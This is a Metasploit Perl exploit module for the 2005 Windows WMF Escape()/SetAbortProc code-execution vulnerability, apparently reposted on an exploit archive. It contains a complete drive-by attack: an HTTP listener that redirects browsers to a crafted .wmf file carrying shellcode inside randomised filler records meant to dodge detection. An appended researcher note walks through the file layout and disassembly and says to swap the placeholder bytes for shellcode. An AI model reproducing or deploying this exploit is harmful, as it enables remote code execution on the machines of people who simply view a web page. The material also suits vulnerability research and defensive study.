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Windows XP/2003 Metafile Escape() Code Execution Exploit (meta)
=============================================================== Windows XP/2003 Metafile Escape() Code Execution Exploit (meta) =============================================================== ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::ie_xp_pfv_metafile; use strict; use base "Msf::Exploit"; use Pex::Text; use IO::Socket::INET; my $advanced = { }; my $info = { 'Name' => 'Windows XP/2003 Metafile Escape() SetAbortProc Code Execution', 'Version' => '$Revision: 1.8 $', 'Authors' => [ 'H D Moore <hdm [at] metasploit.com', 'san <san [at] xfocus.org>', 'O600KO78RUS[at]unknown.ru' ], 'Description' => Pex::Text::Freeform(qq{ This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request. }), 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'winxp', 'win2003' ], 'Priv' => 0, 'UserOpts' => { 'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ], 'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ], }, 'Payload' => { 'Space' => 1000 + int(rand(256)) * 4, 'BadChars' => "\x00", 'Keys' => ['-bind'], }, 'Refs' => [ ['BID', '16074'], ['CVE', '2005-4560'], ['OSVDB', '21987'], ['MIL', '111'], ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'], ['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'], ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic - Windows XP / Windows 2003' ] ], 'Keys' => [ 'wmf' ], 'DisclosureDate' => 'Dec 27 2005', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $server = IO::Socket::INET->new( LocalHost => $self->GetVar('HTTPHOST'), LocalPort => $self->GetVar('HTTPPORT'), ReuseAddr => 1, Listen => 1, Proto => 'tcp' ); my $client; # Did the listener create fail? if (not defined($server)) { $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT')); return; } my $httphost = $self->GetVar('HTTPHOST'); if ($httphost eq '0.0.0.0') { $httphost = Pex::Utils::SourceIP('1.2.3.4'); } $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/"); while (defined($client = $server->accept())) { $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client)); } return; } sub HandleHttpClient { my $self = shift; my $fd = shift; # Set the remote host information my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr); # Read the HTTP command my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10); if ($url !~ /\.wmf/i) { $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting..."); # XXX This could be replaced by obfuscated javascript too... # Transmit the HTTP redirect response $fd->Send( "HTTP/1.0 302 Moved\r\n" . "Location: /". Pex::Text::AlphaNumText(int(rand(1024)+1)) .".wmf\r\n" . "Content-Type: text/html\r\n" . "Content-Length: 0\r\n" . "Connection: close\r\n" . "\r\n" ); $fd->Close(); return; } my $shellcode = $self->GetVar('EncodedPayload')->Payload; # Push our minimum length just over the ethernet MTU my $pre_mlen = 1440 + rand(8192); my $suf_mlen = rand(8192)+128; # The number of random objects we generated my $fill = 0; # The buffer of random bogus objects my $pre_buff = ""; my $suf_buff = ""; while (length($pre_buff) < $pre_mlen && $fill < 65535) { $pre_buff .= RandomWMFRecord(); $fill += 1; } while (length($suf_buff) < $suf_mlen && $fill < 65535) { $suf_buff .= RandomWMFRecord(); $fill += 1; } my $clen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) + length($suf_buff); my $content = # # WindowsMetaHeader # pack('vvvVvVv', # WORD FileType; /* Type of metafile (0=memory, 1=disk, 2=fjear) */ 2, # WORD HeaderSize; /* Size of header in WORDS (always 9) */ 9, # WORD Version; /* Version of Microsoft Windows used */ 0x0300, # DWORD FileSize; /* Total size of the metafile in WORDs */ $clen/2, # WORD NumOfObjects; /* Number of objects in the file */ $fill+1, # DWORD MaxRecordSize; /* The size of largest record in WORDs */ int(rand(64)+8), # WORD NumOfParams; /* Not Used (always 0) */ 0 ). # # Filler data # $pre_buff. # # StandardMetaRecord - Escape() # pack('Vvv', # DWORD Size; /* Total size of the record in WORDs */ 4, # WORD Function; /* Function number (defined in WINDOWS.H) */ 0x0026, # Can also be 0xff26, 0x0626, etc... # WORD Parameters[]; /* Parameter values passed to function */ 9, ). $shellcode . # # Filler data # $suf_buff. # # Complete the structure # pack('Vv', 3, 0 ); $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload..."); # Transmit the HTTP response my $req = "HTTP/1.0 200 OK\r\n" . "Content-Type: text/plain\r\n" . "Content-Length: " . length($content) . "\r\n" . "Connection: close\r\n" . "\r\n" . $content; my $res = $fd->Send($req); # Prevents IE from throwing an error in some cases select(undef, undef, undef, 0.1); $fd->Close(); # The Content-Disposition trick was not very reliable (2003 ignores it) # "Content-Disposition: inline; filename=". Pex::Text::AlphaNumText(int(rand(1024)+1)) .".jpg\r\n". } sub RandomWMFRecord { my $type = int(rand(3)); if ($type == 0) { # CreatePenIndirect return pack('Vv', 8, 0x02FA ). Pex::Text::RandomData(10) } elsif ( $type == 1 ) { # CreateBrushIndirect return pack('Vv', 7, 0x02FC ). Pex::Text::RandomData(8) } else { # Rectangle return pack('Vv', 7, 0x041B ). Pex::Text::RandomData(8) } } 1; __END__ Used with permission by san[at]xfocus.org: ------------------------------------------ The recent wmf vul is really fun, I found some interest things after analysed it. I attached a very simple wmf file(64 bytes) which can crash your explorer. You can simply change those 0xcc to your shellcode. An attach wmf file constructs with a 18 bytes metafile header which defined as following: typedef struct _WindowsMetaHeader { WORD FileType; /* Type of metafile (0=memory, 1=disk) */ WORD HeaderSize; /* Size of header in WORDS (always 9) */ WORD Version; /* Version of Microsoft Windows used */ DWORD FileSize; /* Total size of the metafile in WORDs */ WORD NumOfObjects; /* Number of objects in the file */ DWORD MaxRecordSize; /* The size of largest record in WORDs */ WORD NumOfParams; /* Not Used (always 0) */ } WMFHEAD; and two data records which defined as following: typedef struct _StandardMetaRecord { DWORD Size; /* Total size of the record in WORDs */ WORD Function; /* Function number (defined in WINDOWS.H) */ WORD Parameters[]; /* Parameter values passed to function */ } WMFRECORD; Somethings that we need to attention: 1. FileSize of _WindowsMetaHeader is in WORDs, don't forget to divide 2; 2. the attack file is larger than 64 bytes; 3. the last record always has a function number of 0000h, a Size of 00000003h, and no Parameters array; 4. the attack record has a function number of 0626h, which defined in wingdi.h. 26h is important, it will flow to Escape function. I found it will lead to SetAbortProc only the Parameters[0] is 0009h. .text:77C4B65C loc_77C4B65C: ; CODE XREF: PlayMetaFileRecord+43j .text:77C4B65C ; DATA XREF: .text:off_77C769FE+o .text:77C4B65C push [ebp+uFlags] ; case 0x26 .text:77C4B65F push ebx .text:77C4B660 call sub_77C4B68A .text:77C4B665 cmp eax, edi .text:77C4B667 mov [ebp+var_4], eax .text:77C4B66A jnz loc_77C4B424 .text:77C4B670 mov ax, [ebx+6] .text:77C4B674 cmp ax, 0Fh .text:77C4B678 jnz loc_77C5FC0A ; flow to Escape ... .text:77C61062 loc_77C61062: ; CODE XREF: Escape+ECB7j .text:77C61062 sub edi, 6 .text:77C61065 jz short loc_77C61090 ; it flow to SetAbortProc only the Parameters[0] is 0009h ... .text:77C543E7 loc_77C543E7: ; CODE XREF: SetAbortProc+54j .text:77C543E7 ; SetAbortProc+10720tj .text:77C543E7 xor eax, eax .text:77C543E9 mov [esi+14h], edi ; write callback pointer? ... .text:77C604C8 owned: ; CODE XREF: sub_77C4B09C+1E4j .text:77C604C8 mov eax, [eax+14h] ; the pointer .text:77C604CB cmp eax, ecx .text:77C604CD jz loc_77C4B286 .text:77C604D3 push ecx .text:77C604D4 push edi .text:77C604D5 call eax ; got it Best Regards -- san <san[at]xfocus.org> # 0day.today [2024-07-03] #